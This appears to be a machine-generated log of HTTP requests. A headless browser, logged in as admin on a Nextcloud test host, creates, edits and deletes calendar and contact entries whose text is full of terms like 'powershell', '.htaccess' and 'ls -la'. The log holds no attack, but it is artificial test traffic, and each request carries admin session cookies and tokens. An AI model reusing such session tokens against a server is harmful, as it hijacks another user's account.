{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 433", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VTODO\"/></x1:comp-filter></x1:filter></x1:calendar-query>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 894", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090330Z\r\nLAST-MODIFIED:20261110T090330Z\r\nSEQUENCE:3\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Python3 workshop\r\nLOCATION:Room .htaccess\\, Powershell Lane\r\nDESCRIPTION:Bring a laptop with python3 and powershell\\; we run ls -la firs\r\n t.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:prop></x0:propfind>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 913", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 8gswnZCUVQGWpJa26qM/dLjrL6vbK3lMGrQAEMHx8c4=:kGBJydfGPTSlkMLzpIhKBYmSHZ2THQwEdfFOeerHtqo=", "If-Match: \"d2d274ce8b8726e9da40bc04bf871974\"", "X-NC-CalDAV-Webcal-Caching: On", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8; component=vevent; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=2EhHLVMo%2BuB2X6qXLvEQbhs%2FnBVzc3Eq46xDP3paR0WSicnXSqtFgO%2F6%2BUU5xF4EqtbReCt6FWHuuAmXJj2%2B3SKLgwUnaVtQu5ZTFi1kiF5IDWJaJbcuUUYzFf6ryy2c; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ef24c0ab9fb54634fa08cf8f41227b3d; nc_username=admin; nc_token=qBFdaX4Mt75T9rCmzWegIkZeNMopFgdR; nc_session_id=ef24c0ab9fb54634fa08cf8f41227b3d"], "body": "BEGIN:VCALENDAR\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090707Z\r\nLAST-MODIFIED:20261110T090707Z\r\nSEQUENCE:4\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Powershell and ls -la session\r\nLOCATION:.htaccess room\\, Python3 Street 4\r\nDESCRIPTION:Notes for python3\\, powershell and .htaccess\\; ls -la shows the\r\n files.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
|
|
||||||
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: XzdVTnLDdfXMQfo5P/dvxM1gfhL4vJdqn0oPhubHYyc=:Ol4lIBTzBIL/OI11VI03pa4ZDmGi29IC1BA9/7/wKX4=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=tRZ%2BSptBHK11P5pryNcLmx3815D1Oaf9%2BKEWPWYgNj0BMJt19Hg%2Bh85ageyJfVW69WyQm4n0d%2B60YaLoCjp9e5xMZoFRxx0FrrU6%2BwyOS4UxJznaNaJU9YSsoVBvNNU4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=fa1e8b24b31e987cac3388eb4507a69c; nc_username=admin; nc_token=vP3np0skoBgEl%2F4Xz4IWK%2BUwsgDUMGA%2F; nc_session_id=fa1e8b24b31e987cac3388eb4507a69c"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/apps/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": ""}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
|
|
||||||
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x4:addressbook xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:resourcetype><x0:displayname>Powershell and .htaccess people</x0:displayname></x0:prop></x0:set></x0:mkcol>"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
|
|
||||||
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: fZgjYlkTsOd20pLYPjng/qvwY4SGiFpn9ESXtI5TLg4=:MOFqAWxnm9Rdk+O6bACVl+zEUd3g4jERsj747aEaZ2o=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=jOdffoGm%2FR4%2FLegb4Tes9nHq9GPhh0oBu6yT3apgCqiEBQQj3XY5S5oZhFPmWexksgRMt2SpOiAAeUTpmgc01J4kaHZee1Ug6U204lFJ0WZej0d7%2FxRrDspKnD6ltmFP; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=e0aeeffda7c701dc426e0d411bdfb0a2; nc_username=admin; nc_token=piSmKb4QqFXfvtkB0J1iEKk3ElcqKzyC; nc_session_id=e0aeeffda7c701dc426e0d411bdfb0a2"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 332", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091354Z\r\nFN:Ada Python3 Powershell\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Powershell admin\r\nEND:VCARD"}
|
|
||||||
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x4:address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:prop></x0:propfind>"}
|
|
||||||
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 348", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 7Vdz2rzQ/4Dwwwmsqiy1H4Ac0zCBNZHnXHTBNGBb+aU=:jy4VvvKDjM/Eql/exFvML9J/l3PMZtCTOwCUAipwnM0=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8; charset=UTF-8", "If-Match: \"71a3092727585c70e67fdc0d6d610c20\"", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=kWAeErU2vXagSmHqAr00wV4yN408SYGPcS0P05Fxux4TdMkDB32sXCORkyIudWzxRB9QebdTZznhygCaa2skiuRhwWQB0Vjo4SZC1Pg27uy%2FGQK7bbXaXY3nAsGqO9DM; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a13ae35dab214517739d9f5b4a0d9264; nc_username=admin; nc_token=boKHHKSaguKiOEwEA6ohVdUIsfFVG0P6; nc_session_id=a13ae35dab214517739d9f5b4a0d9264"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091426Z\r\nFN:Ada .htaccess ls -la Python3\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Python3 and ls -la trainer\r\nEND:VCARD"}
|
|
||||||
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "requesttoken: 3K2A7EtHJTOVTJ7M8h5zQF9iYoahono/AafukOCK5ak=:scf6qTpsX0OlHva6o0grAhYuBsHs5khQZ5KbpLTm0MA=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=el6hXqkaEpqVs6rRnN5Qb8ecVqAYaa%2F93Y3talW%2B8NLNAj3MF%2BtO5naG1BjPfqP91zWgMQAw3W6D5N5%2Frqw5sz4ij4nSoe5khPs45Gv%2F8NDs63QCkUg7fjSLLvISdXFE; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a7d23fe345d2880f1f6655a952f9b2f3; nc_username=admin; nc_token=hzOptppVGWk1f6mZgFJxDbutRK5tE%2FGx; nc_session_id=a7d23fe345d2880f1f6655a952f9b2f3"], "body": ""}
|
|
||||||
